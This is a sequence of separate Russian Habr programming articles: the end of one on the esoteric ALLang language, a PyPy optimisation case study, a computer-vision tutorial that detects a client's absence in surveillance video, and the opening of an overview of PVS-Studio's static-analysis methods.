В результате, мы буквально восстанавливаем все базовые функции с нуля, которые в других языках программирования представляются как по умолчанию (логично, ведь кому в здравом уме захочется писать собственные функции сложения, умножения и т.д.). Данные "конструкторы" становятся возможными лишь из природы языка ALLang, когда таковой сильно привязан к языку ассемблера виртуальной машины CVM (аналогии на самом деле существуют и в нормальных языках, подобия языка Си).
Заключение
----------
Сам ALLang и виртуальная машина CVM написаны на языке Си. Кому интересно, весь исходный код ALLang'a вы можете посмотреть [тут](https://github.com/number571/allang), а код CVM [тут](https://github.com/number571/cvm). Что там, что там находится малое количество кода.
Чтобы проверить выполнение ALLang, можно воспользоваться следующей инструкцией:
```
make install # Скачивает и компилирует CVM
make build # Компилирует код ALLang в язык ассемблера
make run # CVM транслирует ассемблерный код в байткод и исполняет его
# Последние две инструкции можно заменить просто как make
make # Последовательное выполнение build и run
```
Как вы увидели, сам язык программирования является более эзотерическим языком, нежели реально применимым. Тем не менее, его интересной особенностью является лёгкая "кастомизация", при помощи которой можно буквально модифицировать язык посредством ассемблерного кода, добавляя всё больше новых операций. Другой, не менее интересной особенностью, является ужасное его выполнение при котором большинство операций вычисляются через множество вызовов `inc` и `dec` в рекурсивном исполнении (из-за чего стек виртуальной машины от такой наглости перестаёт наполняться). Ну и последним интересным пунктом является его чистая функциональность и примитивность исполнения, что в настоящее время уже редко где можно встретить. Поэтому язык является по своей сути бесполезным и красиво ужасным (а может и ужасно красивым). | https://habr.com/ru/post/703036/ | null | ru | null |
# Как сделать ваш код в 80 раз быстрее
Всем бобра!
У нас стартует третий набор на курс [«Разработчик Python»](https://otus.pw/JyLT/), а значит, что впереди и [открытый урок](https://otus.pw/Vm95/), которые у нас частично замещают староформатные дни открытых дверей и где можно ознакомиться с интересным материалом от наших преподавателей, и то, что мы нашли очередной интересный материальчик. На этот раз по ускорению «змеиного» кода.
Поехали.
PyPy способен ускорить код в 2 раза, что радует очень многих людей. Хочу поделиться короткой, личной историей, доказывающей, что PyPy способен на большее.
ДИСКЛЕЙМЕР: это не чудодейственное средство на все случаи жизни, да, сработало конкретно в этом случае, но может оказаться не таким эффективным во многих других. Однако метод все равно интересный. Более того, шаги, описанные здесь, я применял во время разработки в том же порядке, что делает статью жизненным примером оптимизации PyPy.
Я [экспериментировал](https://github.com/antocuni/evolvingcopter) с эволюционными алгоритмами несколько месяцев назад: план был амбициозным — автоматически развить логику, способную контролировать (симулированный) квадрокоптер, то есть [PID-регулятор](https://ru.wikipedia.org/wiki/%D0%9F%D0%98%D0%94-%D1%80%D0%B5%D0%B3%D1%83%D0%BB%D1%8F%D1%82%D0%BE%D1%80) (**спойлер**: не летает).
Идея заключается в том, что при наличии популяции случайных существ, в каждом поколении наиболее приспособленные выживают и размножаются с небольшими, случайными изменениями.
Тем не менее, в рамках этого поста, первоначальная задача не так важна, поэтому перейдем непосредственно к коду. Для управления квадрокоптером существо использует метод `run_step`, запускаемый в каждом `delta_t` (код полностью):
```
class Creature(object):
INPUTS = 2 # z_setpoint, current z position
OUTPUTS = 1 # PWM for all 4 motors
STATE_VARS = 1
...
def run_step(self, inputs):
# state: [state_vars ... inputs]
# out_values: [state_vars, ... outputs]
self.state[self.STATE_VARS:] = inputs
out_values = np.dot(self.matrix, self.state) + self.constant
self.state[:self.STATE_VARS] = out_values[:self.STATE_VARS]
outputs = out_values[self.STATE_VARS:]
return outputs
```
* inputs — numpy массив, в котором находятся финальная точка и текущая позиция по оси Z;
* outputs — numpy массив, в котором находится тяга, передающаяся моторам. Для начала, все 4 мотора ограничены одинаковой тягой, поэтому квадрокоптер перемещается вверх-вниз по оси Z;
* `self.state` содержит произвольные значения неизвестно размера, которые передаются из одного шага в другой;
* `self.matrix` и `self.constant` содержат саму логику. При передачи в них “правильных” значений, теоретически, мы могли бы получить идеально настроенный PID-регулятор. Они случайным образом мутируют между поколениями.
`run_step` вызывается при 100 Гц (в виртуальном временном интервале симуляции). Поколение состоит из 500 существ, каждое из которых мы тестируем в течение 12 виртуальных секунд. Таким образом, в каждом поколении содержится 600,000 выполнений `run_step`.
Сначала я попробовал запустить код на CPython; и вот результат:
```
$ python -m ev.main
Generation 1: ... [population = 500] [12.06 secs]
Generation 2: ... [population = 500] [6.13 secs]
Generation 3: ... [population = 500] [6.11 secs]
Generation 4: ... [population = 500] [6.09 secs]
Generation 5: ... [population = 500] [6.18 secs]
Generation 6: ... [population = 500] [6.26 secs]
```
То есть ~6.15 секунд/поколение, за исключением первого.
Затем, я попробовал PyPy 5.9:
```
$ pypy -m ev.main
Generation 1: ... [population = 500] [63.90 secs]
Generation 2: ... [population = 500] [33.92 secs]
Generation 3: ... [population = 500] [34.21 secs]
Generation 4: ... [population = 500] [33.75 secs]
```
Ой! Получилось в ~5.5 раз медленнее, чем с CPython. Отчасти это было ожидаемо: nympy основан на cpyext, известном своей медлительностью. (На самом деле, мы [работаем](https://morepypy.blogspot.it/2017/10/cape-of-good-hope-for-pypy-hello-from.html) над этим — на бранче `cpyext-avoid-roundtrip` результат уже лучше, чем с CPython, но поговорим об этом в другом посте).
Попробуем избежать cpyext. Первым очевидным шагом станет использование numpypy вместо numpy (вот [хак](https://github.com/antocuni/evolvingcopter/blob/master/ev/pypycompat.py), позволяющий использовать только часть micronumpy). Проверим, улучшилась ли скорость:
```
$ pypy -m ev.main # using numpypy
Generation 1: ... [population = 500] [5.60 secs]
Generation 2: ... [population = 500] [2.90 secs]
Generation 3: ... [population = 500] [2.78 secs]
Generation 4: ... [population = 500] [2.69 secs]
Generation 5: ... [population = 500] [2.72 secs]
Generation 6: ... [population = 500] [2.73 secs]
```
В среднем, ~2.7 секунды: в 12 раз быстрее, чем PyPy+numpy и более чем в 2 раза быстрее, чем оригинальный CPython. Уже сейчас многие бы побежали рассказывать, как хорош PyPy.
Но попробуем улучшить результат. Как обычно, проанализируем, что именно требует больше всего времени. Вот ссылка на vmprof [профиль](http://vmprof.com/#/449ca8ee-3ab2-49d4-b6f0-9099987e9000). Мы тратим много времени внутри numpypy и выделяем тонны временных массивов для хранения результатов различных операций.
Кроме того, посмотрим на [трассировку](http://vmprof.com/#/28fd6e8f-f103-4bf4-a76a-4b65dbd637f4/traces) jit и найдем функцию run: это цикл, в котором мы проводим большую часть времени, он состоит из 1796 операций. Операции для строки `np.dot(...)` `+ self.constant` находятся между строками 1217 и 1456. Ниже приведен отрывок, вызывающий `np.dot(...)`. Большая часть операторов ничего не стоят, но в строке 1232 мы видим вызов функции RPython [descr\_dot](https://bitbucket.org/pypy/pypy/src/89d1f31fabc86778cfaa1034b1102887c063de66/pypy/module/micronumpy/ndarray.py?at=default&fileviewer=file-view-default#ndarray.py-1168); по реализации видим, что она создает новый W\_NDimArray для хранения результата, а значит придется делать `malloc()`:
Интересная реализация части `+ self.constant` — вызов `W_NDimArray.descr_add` был встроен JIT, поэтому нам проще понять, что происходит. В частности, мы видим вызов к `__0_alloc_with_del____`, выделяющий W\_NDimArray для результата, и aw\_malloc, выделяющий сам массив. Затем идет длинный список из 149 простых операций, которые задают поля итогового массива, создают итератор и, наконец, вызывают `acall_assembler` — это фактическая логика для выполнения добавления, которую JIT’или отдельно. `call_assembler` одна из операций для выполнения JIT-to-JIT вызовов:
Все это не очень оптимально: в нашем случае известно, что размер `self.matrix` всегда равен (3, 2) — а значит мы выполняем огромное количество работы, включая 2 вызова `malloc()` для временных массивов, просто чтобы вызвать две функции, которые в общей сумме делают 6 умножений и 6 сложений. Отметим, что это не вина JIT: CPython+numpy приходится делать то же самое, но в скрытых вызовах C.
Решить эту проблему вероятно поможет хорошо известная оптимизация компилятора — разворот цикла. С точки зрения компилятора, разворот цикла всегда сопровождается риском — если матрица слишком большая, вы, в конечном итоге, останетесь с большой, бесформенной массой кода, которая будет бесполезна, если размер массива постоянно меняется. Это одна из основных причин, почему PyPy JIT в этом случае даже не пытается так поступить.
Тем не менее, мы знаем, что матрица маленькая и всегда одного размера. Поэтому развернем цикл вручную:
```
class SpecializedCreature(Creature):
def __init__(self, *args, **kwargs):
Creature.__init__(self, *args, **kwargs)
# store the data in a plain Python list
self.data = list(self.matrix.ravel()) + list(self.constant)
self.data_state = [0.0]
assert self.matrix.shape == (2, 3)
assert len(self.data) == 8
def run_step(self, inputs):
# state: [state_vars ... inputs]
# out_values: [state_vars, ... outputs]
k0, k1, k2, q0, q1, q2, c0, c1 = self.data
s0 = self.data_state[0]
z_sp, z = inputs
#
# compute the output
out0 = s0*k0 + z_sp*k1 + z*k2 + c0
out1 = s0*q0 + z_sp*q1 + z*q2 + c1
#
self.data_state[0] = out0
outputs = [out1]
return outputs
```
В [коде](https://github.com/antocuni/evolvingcopter/blob/master/ev/creature.py#L100) дополнительно есть проверка работоспособности, чтобы убедиться, что значение равно выданному через `Creature.run_step`.
Проверим, как оно работает. Сначала с CPython:
```
$ python -m ev.main
Generation 1: ... [population = 500] [7.61 secs]
Generation 2: ... [population = 500] [3.96 secs]
Generation 3: ... [population = 500] [3.79 secs]
Generation 4: ... [population = 500] [3.74 secs]
Generation 5: ... [population = 500] [3.84 secs]
Generation 6: ... [population = 500] [3.69 secs]
```
Выглядит неплохо — на 60% быстрее, чем оригинальная реализация CPython+numpy. Проверим PyPy:
```
Generation 1: ... [population = 500] [0.39 secs]
Generation 2: ... [population = 500] [0.10 secs]
Generation 3: ... [population = 500] [0.11 secs]
Generation 4: ... [population = 500] [0.09 secs]
Generation 5: ... [population = 500] [0.08 secs]
Generation 6: ... [population = 500] [0.12 secs]
Generation 7: ... [population = 500] [0.09 secs]
Generation 8: ... [population = 500] [0.08 secs]
Generation 9: ... [population = 500] [0.08 secs]
Generation 10: ... [population = 500] [0.08 secs]
Generation 11: ... [population = 500] [0.08 secs]
Generation 12: ... [population = 500] [0.07 secs]
Generation 13: ... [population = 500] [0.07 secs]
Generation 14: ... [population = 500] [0.08 secs]
Generation 15: ... [population = 500] [0.07 secs]
```
Да, это не ошибка. Спустя пару поколений, время стабилизируется в районе ~0.07-0.08 секунды за поколение. Что примерно в 80 (восемьдесят) раз быстрее, чем реализация CPython+numpy, и в 35-40 раз быстрее наивной PyPy+numpy.
Еще раз посмотрим на [трассировку](http://vmprof.com/#/402af746-2966-4403-a61d-93015abac033/traces): в ней больше нет дорогих вызовов и точно никаких временных malloc()’ов. Корень логики находится в строках 386-416, где мы видим выполнение быстрых C-level умножений и сложений: float\_mul и float\_add переводятся прямо в команды mulsd и addsdx86.
Как я и говорил, это очень конкретный пример, и такой метод не универсален: к сожалению, не стоит ждать 80-кратного ускорения произвольного кода. Однако это ясно показывает потенциал PyPy в высокоскоростных вычислениях. И самое важное, это не пробный бенчмарк, спроектированный специально для хорошей работы PyPy — пример небольшой, но реалистичный.
Как воспроизвести результат
```
$ git clone https://github.com/antocuni/evolvingcopter
$ cd evolvingcopter
$ {python,pypy} -m ev.main --no-specialized --no-numpypy
$ {python,pypy} -m ev.main --no-specialized
$ {python,pypy} -m ev.main
```
THE END
Если что, то ждём вопросов тут или на [открытом уроке](https://otus.pw/Vm95/). | https://habr.com/ru/post/349230/ | null | ru | null |
# Поиск нарушений на видео с помощью компьютерного зрения
Автоматизация обработки видеозаписи с целью выявления нарушений — одно из востребованных направлений компьютерного зрения во многих отраслях.
Сегодня мы попытаемся обнаружить на видео отсутствие клиента в кадре в момент проведения операции в автоматизированной системе.
В нашем распоряжении имеются записи с камер наблюдения рабочего места сотрудника и журнал проведения операций.
Будем искать все моменты на записи, где отсутствовал клиент. В этом нам поможет нейронная сеть MobileNet и CSRT Tracker из библиотеки opencv. А для удобства еще и Tesseract-OCR.
Чтобы найти человека в кадре будем использовать нейросеть MobileNet. Данная сеть позволяет обнаружить и локализовать 20 типов объектов на изображении. Для ее работы необходимо скачать два файла: архитектуру и веса. Данные файлы можно найти в репозитории [Github](https://github.com/djmv/MobilNet_SSD_opencv).
Перед написанием кода нам понадобится установка библиотеки компьютерного зрения cv2 и пакета для обработки текста на изображениях pytesseract.
```
!pip install opencv-python
!pip install pytesseract
```
Для работы pytesseract необходимо предварительно скачать дистрибутив Tesseract-OCR c официального сайта и установить его.
**Начинаем подготовку к обработке видео**
Импортируем пакеты и прописываем в локальное окружение путь к папке с Tesseract-OCR:
```
import os
video_path = ... #Путь к видео
tesseract_path = ... #Путь к установленному Tesseract
os.environ["PATH"] += os.pathsep + tesseract_path
import pytesseract
import cv2
import imutils
import pandas as pd
import datetime as dt
```
Затем создаем таблицу, где будем хранить информацию о каждом обработанном кадре видео. Вместе с таблицей создаем еще три переменные для хранения информации о границах места клиента, времени и наличия / отсутствия клиента в кадре:
```
df = pd.DataFrame(columns = ['Время', 'Клиент в кадре'])
work_place = () #Область, где сидит клиент
date = None #Область на видео с временем и датой
tracked = False #Состояние отслеживания
```
Укажем пути к файлам с архитектурой и весами нейронной сети, которые мы скачали ранее. Если они лежат в папке с проектом, то просто запишем их названия:
```
prototxt = 'MobileNetSSD_deploy.prototxt' #Модель
weights = 'MobileNetSSD_deploy.caffemodel' #Веса
```
Как сказано выше данная нейросеть может различать 20 классов объектов, запишем их в словарь:
```
classNames = {0: 'background',
1: 'aeroplane',
2: 'bicycle',
3: 'bird',
4: 'boat',
5: 'bottle',
6: 'bus',
7: 'car',
8: 'cat',
9: 'chair',
10: 'cow',
11: 'diningtable',
12: 'dog',
13: 'horse',
14: 'motorbike',
15: 'person',
16: 'pottedplant',
17: 'sheep',
18: 'sofa',
19: 'train',
20: 'tvmonitor'}
```
Выставим уровень доверия низким, так как шанс ошибиться и классифицировать другой объект на рабочем месте как человека крайне низкий.
```
thr = 0.1 #Уровень доверия
```
Инициализируем нейронную сеть:
```
net = cv2.dnn.readNetFromCaffe(prototxt, weights) #Нейросеть
```
Создадим объект cv2.VideoCapture, с помощью которого мы будем воспроизводить видео:
```
cap = cv2.VideoCapture(video_path)
```
Заявленная частота кадров в секунду в видео может отличаться от действительной, поскольку метод **.read()**, которым мы вскоре воспользуемся может пропускать некоторые кадры. Так как нас интересует точное время с камеры наблюдения, мы должны знать сколько кадров помещается в одной секунде из видео. Для этого необходимо узнать общее количество кадров в записи и разделить его на его длительность. Выполним следующий код:
```
%%time
cap = cv2.VideoCapture(video_path)
total_frame = 0
while True:
success, frame = cap.read()
if success:
total_frame += 1
else:
break
video_length = ... #Длительность видео в секундах
fps = round(total_frame / video_length)
fps
```
Так как количество кадров в секунду может быть не целым числом, то возможна погрешность. В 100-минутном ролике погрешность составляла 2 секунды.
**Обработка видео**
Узнав действительную частоту кадров, мы, наконец, можем приступить к непосредственной обработке нашего видео. Запускаем цикл, который будет работать до тех пор, пока не закончатся кадры.
```
while cap.isOpened():
ret, frame = cap.read()
if ret:
frame = imutils.resize(frame, width=1200) #Качество кадра, влияет на быстродействие
#Получение участка кадра, где расположено рабочее место
if len(work_place) == 0:
cv2.putText(frame, 'Set the client\'s location', (0, 90), cv2.FONT_HERSHEY_SIMPLEX,
2, (0,255,0), 2)
work_place = cv2.selectROI('frame', frame, fromCenter=False, showCrosshair=True)
x, y, w, h = [int(coord) for coord in work_place]
#Получение даты
if not date:
try:
cv2.putText(frame, 'Set the date, (0, 160), cv2.FONT_HERSHEY_SIMPLEX,
2, (0,255,0), 2)
date = cv2.selectROI('frame', frame, fromCenter=False, showCrosshair=True)
date_x, date_y, date_w, date_h = [int(coord) for coord in date]
date_ = frame[date_y : date_y+date_h, date_x : date_x+date_w]
date_ = cv2.cvtColor(date_, cv2.COLOR_BGR2GRAY) #Приводим к градации серого
#date_ = cv2.threshold(date_, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)[1]
date_ = cv2.threshold(date_, 180, 255, 0)[1] #Можно менять значения для лучшего распознавания
date = pytesseract.image_to_string(date_)
date = dt.datetime.strptime(date, '%Y-%m-%d %H:%M:%S')
except:
print('Распознать дату не удалось, введите дату вручную в формате ГОД-МЕСЯЦ-ДЕНЬ ЧАСЫ:МИНУТЫ:СЕКУНДЫ')
date_ = input()
date = dt.datetime.strptime(date_, '%Y-%m-%d %H:%M:%S')
if cap.get(1) % fps == 0:
date += dt.timedelta(seconds = 1)
if not tracked or (cap.get(1) % (fps * 30) == 0):
#Предобработка кадра
frame_resized = cv2.resize(frame, (300, 300)) #Подгон изображения под 300 на 300 пикс
blob = cv2.dnn.blobFromImage(frame_resized, 0.007843,
(300,300), (127.5, 127.5, 127.5), False)
#Прямой проход кадра по нейросети
net.setInput(blob)
detections = net.forward()
#[0, 0, object, [0, class_id, confidence, xLeftBottom, yLeftBottom, xRightTop, yRightTop]]
#Запоминаем размеры предобработанного кадра
cols = frame_resized.shape[1]
rows = frame_resized.shape[0]
#Детекция класса и получение его рамки исходных размеров
for obj in detections[0,0, :, :]:
confidence = obj[2]
if confidence > thr:
class_id = int(obj[1])
if class_id == 15:
xLeftBottom = int(obj[3] * cols)
yLeftBottom = int(obj[4] * rows)
xRightTop = int(obj[5] * cols)
yRightTop = int(obj[6] * rows)
#Отношения размеров оригинального и сжатого кадра
heightFactor = frame.shape[0] / 300.0
widthFactor = frame.shape[1] / 300.0
#Границы объекта на несжатом кадре
xLeftBottom = int(widthFactor * xLeftBottom)
yLeftBottom = int(heightFactor * yLeftBottom)
xRightTop = int(widthFactor * xRightTop)
yRightTop = int(heightFactor * yRightTop)
#Нахождения центра рамки границы объекта
xCenter = xLeftBottom + (xRightTop - xLeftBottom)/2
yCenter = yLeftBottom + (yRightTop - yLeftBottom)/2
#Проверка вхождения объекта в выделенную область
if xCenter < x + w and yCenter < y + h and xCenter > x and yCenter > y:
tracker = cv2.TrackerCSRT_create()
tracker.init(frame, (xLeftBottom, yLeftBottom, xRightTop-xLeftBottom, yRightTop-yLeftBottom))
tracked = True
cv2.rectangle(frame, (xLeftBottom,yLeftBottom), (xRightTop,yRightTop), (0,255,0), 3, 1)
break
else:
tracked = False
else:
_, bbox = tracker.update(frame)
X, Y, W, H = [int(coord) for coord in bbox]
xCenter = X + W/2
yCenter = Y + H/2
if xCenter < x + w and yCenter < y + h and xCenter > x and yCenter > y:
tracked = True
cv2.rectangle(frame, (X,Y), (X + W, Y + H), (255,255,0), 3, 1)
else:
tracked = False
cv2.imshow('frame', frame)
df.loc[cap.get(1), :] = [date, tracked]
print(cap.get(1), date, tracked) #Вывод номера кадра, даты и наличия/отсутствия клиента
if cv2.waitKey(1) == 27: #ESC
break
else:
break
cap.release()
cv2.destroyAllWindows()
```
В представленном выше коде метод **.read()** возвращает нам два значения: логическую переменную, обозначающую успешное чтение кадра, и второе значение – сам кадр. Далее мы проверяем, указано ли место клиента, если нет, то нам предлагается обвести прямоугольную область.
Затем мы таким же образом обводим дату в кадре. Как правило, дата представлена в формате *«год-месяц-день часы:минуты:секунды»*. Выделенная область приводится к оттенкам серого, а затем пиксели разбиваются на два цвета: черный и белый, в зависимости от насыщенности оттенка серого. Результат записывается в переменную `date`.
В таком виде *Tesseract*-у проще сделать оптическое распознавание символов
Если оптическое распознавание не удалось, то пользователю предлагается ввести дату вручную. Как правило, распознавание не удается, если на фоне даты находятся участки такого же цвета.
Метод **.get()** с цифрой 1 возвращает номер текущего кадра, и, если он кратен вычисленному нами ранее `fps` из видео, то прибавляем к нашему времени в переменной `date` одну секунду. Мы могли в каждом кадре распознавать дату с помощью tesseract, но тогда наша обработка затянулась бы на дни, так как оптическое распознавание очень ресурсоемкий процесс.
Далее мы предобрабатываем кадр для прогона его через нейросеть: масштабируем с помощью метода **cv2.resize()** и изменяем цвет пикселей методом **cv2.dnn.blobFromImage()**. После чего, мы подаем предобработанный кадр в нейросеть. Обратно мы получаем предсказание, которое мы запишем в переменную `detections`. В ней будут содержаться сведения о найденных объектах, вероятности их отнесения к одному из 20 классов и координаты местоположения в кадре.
Поскольку нас интересует только человек, мы ищем все объекты с индексом 15. Если вероятность нахождения человека в кадре выше нашего доверительного уровня, и человек находится в пределах выделенного места, то мы присваиваем переменной `tracked` значение *True* и передаем найденные координаты трекеру. Результаты `tracked` и переменной `date` записываем в таблицу `df`.
После этого трекер начинает отслеживать клиента до тех пор, пока тот не выйдет из выделенной области. Как только клиент покидает область, переменная `tracked` меняется с *True* на *False*, и включается нейросеть для поиска следующего клиента.
Трекер необходим для уменьшения количества ошибок. Так как нейросеть не предназначалась для решения конкретно этой проблемы, то сидящих спиной клиентов, она распознает не в каждом кадре. Трекер частично решает проблему.
В конце мы получим таблицу, где для каждого кадра записано время и наличие / отсутствие клиента в выделенной области. Сгруппируем ее по секундам и будем считать, что если хотя бы в одном кадре за секунду есть клиент, то он там действительно есть. Если сопоставить полученное время в кадре с журналом проведения операций, то можно выявить наличие или отсутствие нарушений.
```
df_ = df.groupby('Время', as_index=False).agg(max)
df_.to_excel('output.xlsx', index=False)
```
Хочется отметить, что у данного подхода имеется ряд недостатков:
* **Медленная работа трекера**. Мы используем трекер, основанный на корреляционных фильтрах. Это один из реализованных трекеров в библиотеке opencv. Он обладает хорошей точностью, относительно других трекеров из библиотеки, но является самым медленным.
* **Трекер может потерять из виду объект**. При резких движениях или окклюзии трекер может потерять или начать отслеживать совершенно другой объект.
* **Низкая способность нейросети обнаруживать клиента**. Нейросеть не всегда распознает сидящих клиентов, особенно, если они находятся спиной к камере. Поэтому важно «обнаружить» клиента, пока он стоит в полный рост.
Решить первую и вторую проблему могут трекеры, основанные на глубоком обучении. Например, трекер `GOTURN`. Данный трекер реализован в библиотеке `opencv`, но для его работы необходимо скачивать дополнительные файлы. Также можно использовать популярный трекер `Re3` или недавно представленный трекер `AcurusTrack`. Третью проблему можно решить заменой нейросети и/или дообучением ее на сидящих людях.
[Ссылка на код](https://github.com/Adgius/opencv-nta). | https://habr.com/ru/post/547920/ | null | ru | null |
# Как PVS-Studio ищет ошибки: методики и технологии
PVS-Studio — статический анализатор исходного кода для поиска ошибок и уязвимостей в программах на языке C, C++ и C#. В этой статье я хочу дать обзор технологий, которые мы используем в анализаторе PVS-Studio для выявления ошибок в коде программ. Помимо общей теоретической информации я буду на практических примерах показывать, как та или иная технология позволяет выявлять ошибки.
Введение
--------
Поводом для написания статьи стало моё выступление с докладом на открытой конференции ИСП РАН 2016 (ISPRAS OPEN 2016), проходившей в первых числах декабря в Главном здании Российской академии наук. Тема доклада: «Принципы работы статического анализатора кода PVS-Studio» ([презентация в формате pptx](https://yadi.sk/i/29hbY9qH337G5F)).
К сожалению, время выступления было сильно ограничено, поэтому мне пришлось подготовить весьма короткую презентацию и не рассказать в докладе многое из того, что хотелось. Поэтому я решил написать эту статью, где более подробно расскажу о том, какие подходы и алгоритмы мы используем при разработке проекта PVS-Studio.
На данный момент PVS-Studio – это, фактически, два отдельных анализатора: один для C++, другой для C#. Более того, они написаны на разных языках. Ядро C++ анализатора мы разрабатываем на языке C++, а ядро C# анализатора на C#.
Однако, разрабатывая эти два ядра мы используем одинаковые подходы. Более того, ряд сотрудников одновременно принимают участие в разработке как C++, так и C# диагностик. Поэтому далее в статье я не стану разделять эти анализаторы. Описание механизмов будет общим для обоих анализаторов. Да, конечно есть какие-то отличия, но для обзорного знакомства они несущественны. Если же в процессе повествования возникнет необходимость, я явно укажу: идёт ли речь о С++ анализаторе, или C#.
Команда
-------
Прежде чем приступить к описанию анализатора, скажу несколько слов о нашей компании и нашей команде.
Анализатор PVS-Studio разрабатывается в российской компании ООО «СиПроВер». Компания развивается на собственные средства, получаемые от продаж PVS-Studio. Офис компании находится в городе Тула, расположенном в 200 км. от Москвы.
Сайт: <http://www.viva64.com>
На момент написания статьи штат компании насчитывает 24 человека.
Некоторым кажется, что такой продукт как анализатор кода может сделать один человек. Однако, это большая работа, которая требует много человеко-лет. И еще больше человеко-лет требуется для того, чтобы поддерживать и развивать его.
Мы видим нашу миссию в популяризации методологии статического анализа кода. И конечно же в том, чтобы заработать денег, разрабатывая мощный инструмент, позволяющий выявлять как можно больше ошибок на самых ранних этапах разработки приложений.
Наши достижения
---------------
Для популяризации PVS-Studio мы регулярно проверяем различные открытые проекты и описываем в [статьях](http://www.viva64.com/ru/inspections/) найденные в них ошибки. На данный момент мы проверили около 270 проектов.
В процессе написания этих статей мы выявили уже [более 10000 ошибок](http://www.viva64.com/ru/examples/), о которых сообщили авторам проектов. Мы очень гордимся этим и сейчас я поясню почему.
Если разделить количество найденных ошибок на количество проектов, то получается не очень внушительное число: около 40 ошибок на проект. Поэтому я хочу выделить важный момент. Эти 10000 ошибок являются побочным эффектом. Мы никогда не ставили целью выявить как можно больше ошибок. Часто мы останавливаемся, когда нашли достаточное количество дефектов в проекте, чтобы написать статью.
Это очень хорошо демонстрирует удобство и возможности анализатора. Мы гордимся тем, что можно просто брать незнакомые проекты и почти без всякой настройки анализатора сразу находить в них ошибки. Если бы это было не так, мы бы не выявили 10000 ошибок просто как побочный результат от написания статей в блог.
PVS-Studio
----------
Если совсем кратко, то [PVS-Studio](http://www.viva64.com/ru/pvs-studio/) это:
* Более 340 диагностик для C, C++;
* Более 120 диагностик для C#;
* Windows;
* Linux;
* Плагин для Visual Studio;
* Быстрый старт (мониторинг компиляции);
* Различные вспомогательные возможности, например, интеграция с SonarQube и IncrediBuild.
### Почему C и C++
Языки C и C++ крайне эффективны и изящны. Но взамен требуют невероятного внимания к себе со стороны программиста и глубоких знаний предметной области. Поэтому статические анализаторы кода давно хорошо зарекомендовали себя среди C и С++ разработчиков. Причем, хотя языки, компиляторы и инструменты разработки развиваются, но, как говорится, ничего не меняется. Сейчас я поясню на примере, что имею в виду.
К 30-летию языка C++ мы выполнили проверку первого компилятора языка Cfront, написанного в 1985 году. Кому интересны подробности, предлагаю ознакомиться со статьёй "[К тридцатилетию первого C++ компилятора: ищем ошибки в Cfront](http://www.viva64.com/ru/b/0355/)".
В нем мы нашли вот такую ошибку:
```
Pexpr expr::typ(Ptable tbl)
{
....
Pclass cl;
....
cl = (Pclass) nn->tp;
cl->permanent=1; // <= use
if (cl == 0) error('i',"%k %s'sT missing",CLASS,s); // <= test
....
```
Сначала указатель *cl* разыменовывается, а только потом проверяется на равенство NULL.
Прошло 30 лет.
Теперь перед нами код не компилятора Cfront, а современный Clang. И вот что в нём обнаруживает PVS-Studio:
```
....
Value *StrippedPtr = PtrOp->stripPointerCasts();
PointerType *StrippedPtrTy =
dyn_cast(StrippedPtr->getType()); // <= use
if (!StrippedPtr) // <= test
return 0;
....
```
Как говорится: «Баги. Баги C++ никогда не меняются». Указатель *StrippedPtr* сначала разыменовывается, а только потом проверяется на равенство NULL.
Анализаторы кода крайне полезны для языков C и C++. Поэтому мы развивали и будем развивать анализатор PVS-Studio для этих языков. Пока не предвидится, что у этих инструментов станет меньше работы, так как языки крайне популярны и при этом крайне опасны.
### Почему C#
Конечно, в некоторых моментах язык C# более совершенный и безопасный, чем C++. Однако, далеко уйти ему не удалось, и он также доставляет массу головной боли программистам. Я ограничусь только одним из примеров, а вообще это тема для отдельной статьи.
Мы вновь встречаем старого друга – ошибку, описанную выше. Фрагмент из проекта PowerShell:
```
....
_parameters = new Dictionary(
other.Parameters.Count, // <= use
StringComparer.OrdinalIgnoreCase);
if (other.Parameters != null) // <= test
....
```
Сначала ссылка *other.Parameters* используется для получения свойства *Count*, а только затем проверяется на равенство *null*.
Как видите, от того, что в C# указатели назвали ссылками, лучше не стало. Что касается различных опечаток, то они вообще не зависят от языка. В общем, для PVS-Studio есть работа и мы активно развиваем C#-направление.
### Что дальше?
Пока что у нас нет четких планов, какой язык мы хотим поддержать следующим. У нас есть два кандидата: Objective-C и Java. Мы больше склоняемся к языку Java, но пока окончательно не определились.
Какие технологии мы не используем в PVS-Studio
----------------------------------------------
Прежде чем рассказывать о внутреннем устройстве PVS-Studio кратко отмечу, чего в PVS-Studio нет.
PVS-Studio не имеет ничего общего с Prototype Verification System ([PVS](http://pvs.csl.sri.com/)). Это просто совпадение. Аббревиатура PVS образована от названия нашей компании Program Verification Systems.
PVS-Studio не использует непосредственно математический аппарат грамматик для поиска ошибок. Анализатор работает на более высоком уровне. Анализ выполняется на основании [дерева разбора](http://www.viva64.com/ru/t/0039/).
PVS-Studio не использует компилятор Clang для анализа C/C++ кода. Clang используется для выполнения шага препроцессирования. Подробнее про это рассказано в статье "[Немного о взаимодействии PVS-Studio и Clang](http://www.viva64.com/ru/b/0186/)". Для построения дерева разбора мы используем собственный парсер, который был основан на забытой сейчас библиотеке OpenC++. Впрочем, от кода той библиотеки почти ничего не осталось, и мы реализуем поддержку новых конструкция языка самостоятельно.
При работе с C# кодом мы опираемся на [Roslyn](http://www.viva64.com/ru/b/0399/). C# анализатор PVS-Studio проверяет непосредственно исходный код программы, что повышает точность анализа по сравнению с проверкой бинарного байт-кода (Common Intermediate Lanuage).
PVS-Studio не использует для поиска ошибок поиск подстрок (string matching) и регулярные выражения (regular expressions). Это тупиковый путь. У такого подхода так много недостатков, что на его основе невозможно сделать хоть сколько-нибудь качественный анализатор, а многие диагностики в принципе невозможно реализовать. Подробнее эта тема рассмотрена в моей статье "[Статический анализ и регулярные выражения](http://www.viva64.com/ru/b/0087/)".
Какие технологии мы используем в PVS-Studio
-------------------------------------------
Для обеспечения высокого качества результатов статического анализа мы используем передовые методы анализа исходного кода программы и её графа потока управления (control flow graph). Давайте ознакомимся с ними.
**Примечание.** Далее в качестве примеров будут рассмотрены некоторые диагностики и кратко описаны принципы их работы. Важно отметить, что я сознательно опускаю описание случаев, когда диагностика не должна срабатывать, чтобы не перегружать статью деталями. Это примечание я пишу для тех, кто не сталкивался с разработкой анализаторов: не думайте, что всё так просто, как будет написано ниже. Сделать диагностику — это только 5% работы. Ругаться на подозрительный код не сложно, намного сложнее не ругаться на корректный код. 95% времени при разработке диагностики уходит на обучение анализатора выделять различные приемы программирования, которые хотя и выглядят подозрительно для диагностики, на самом деле корректны.
### Pattern-based analysis
